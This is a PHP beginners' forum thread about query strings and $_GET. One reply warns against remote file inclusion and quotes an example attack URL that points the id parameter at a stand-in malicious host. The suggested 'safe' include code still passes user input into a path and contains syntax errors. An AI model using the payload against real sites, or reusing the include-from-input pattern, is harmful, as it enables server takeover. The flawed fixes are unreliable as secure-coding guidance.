Jump to content

http://www.url.domain/blah.php?id=3&blah.htm - HOW?


Perry|

Recommended Posts

Hello.

 

I am fairly new to PHP and I am currently starting to learn it. However, I was wondering how to create such a url as the title http://www.url.domain/blah.php?id=3&blah.htm as I am very interested in using it on my website as I am currently rebuilding it to make it more usable and dynamic and would like to implement this into my site.

 

Kind Regards,

 

Perry

Link to comment
Share on other sites

How do you create it? You just did, didn't you. I think your question needs to be more specific. But, I will provide some info that might be what you are looking for.

 

First off you must have a valid "base" path to a page such as

 

http://www.mydomain.com

 

Then you can add as many name/value pairs as you need. You start by adding a question mark after the base URL and then separate name value pairs with an ampersand. And, name/value pairs are indicated with an equal sign. Here is an example with spaces added for clarity

 

http://www.mydomain.com ? id=14 & page=display & method=list

 

You can then access those values in the php code using the $_GET array like so:

 

echo "The page value is " . $_GET['page']

Link to comment
Share on other sites

I am fairly new to PHP and I am currently starting to learn it. However, I was wondering how to create such a url as the title http://www.url.domain/blah.php?id=3&blah.htm as I am very interested in using it on my website as I am currently rebuilding it to make it more usable and dynamic and would like to implement this into my site.

 

A good resource when starting out is http://www.hudzilla.org/

 

That URL actually isn't the latest as its been moved to a Wiki, but I like the old site format best.

 

Do you understand what the parts in the URL are?

 

http://www.url.domain/ 

<- SITE URL

 

blah.php

<- THE PHP PAGE ON THE SITE

 

?

<- START OF QUERY STRING ( Variables passed in )

 

id=3

<- PASSING IN A '$_GET/$_REQUEST' variable with value of 3

 

&

<- QUERY STRING VARIABLE DELIMITER

 

blah.htm

<- NOT SURE WHERE YOU ARE GOING WITH THIS

 

The last item blah.htm could be a template maybe?  you would do ?id=3&template=blah

 

You can tack the .htm on in the PHP script, whilst also checking it exists and output a suitable message

if it doesn't.

 

A simple script to parse your URL would be:

 

<?php

     $id = $_GET['id'];
     $template = $_GET['template'];

     echo '<p>ID is ' . $id . '</p>';
     echo '<p>TEMPLATE is ' . $template . '</p>';

?>

 

Reading the Hudzilla manual will set you on your way :)

Link to comment
Share on other sites

Hello.

 

Sorry if I didn't explain it enough, What I need is to keep my page urls short as my site is full of guides so I need something like http://www.mydomain.com/guidetype.php?id=1 ( didn't mean to add that .htm thing on the end sorry :P)

 

Sorry, but I did not understand the replies that you have given me so could you explain it a bit more so I can fully understand it  8) Sorry if this sounds a bit rude!

 

Thanks,

 

Perry

 

PS. Where is the edit post button on this forum  :o I spent like 5 minutes trying to find it :(

 

 

Link to comment
Share on other sites

say if you had http://www.webpage.com/page.php?id=23

 

to read whatever 'id' is you use $_GET['id'] which in this case will output "23". To use this for navigation, you could include an include() on page.php. For example include("article".$_GET['id']."php") which in that case would display the contents of article23.php (it would be better to store articles in a database but that's much more complex) on page.php where the include is.

 

BIG WARNING: make sure if you're using php includes for navigation that it isn't possible to include offsite pages. All it would take to hack into your website would be for a script kiddy to type in "http://www.webpage.com/page.php?id=http://www.u-r-hacked.ru/lol.php" and they would have pretty much full access to your web server.

Link to comment
Share on other sites

BIG WARNING: make sure if you're using php includes for navigation that it isn't possible to include offsite pages. All it would take to hack into your website would be for a script kiddy to type in "http://www.webpage.com/page.php?id=http://www.u-r-hacked.ru/lol.php" and they would have pretty much full access to your web server.

How would I do that?

Link to comment
Share on other sites

Always check to make sure the file you are including exists. I'd do:

if(isset($_GET['page']))
{
    $requested_page = $_SERVER['DOCUMENT_ROOT'] . '/' . $_GET['page'];

    if(file_exists($requested_page))
    {
          include $requested_page;
    }
}

 

To tighten security even more I'd setup an array of files which can be requested from the user. I'd then check to see if the requested file is in that array. If its in the array then include the requested file, otherwise display an error. Example

$safe_files = array( 'home.php', 'about.php', 'products.php', 'contact.php'):

if(isset($_GET['page']))
{
    $requested_page = $_SERVER['DOCUMENT_ROOT'] . '/' . $_GET['page'];

    if(in_array($_GET['page'], $safe_files)
    {
          include $requested_page;
    }
    else
    {
         die('Error: Requested file is invalid!');
     }
}

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.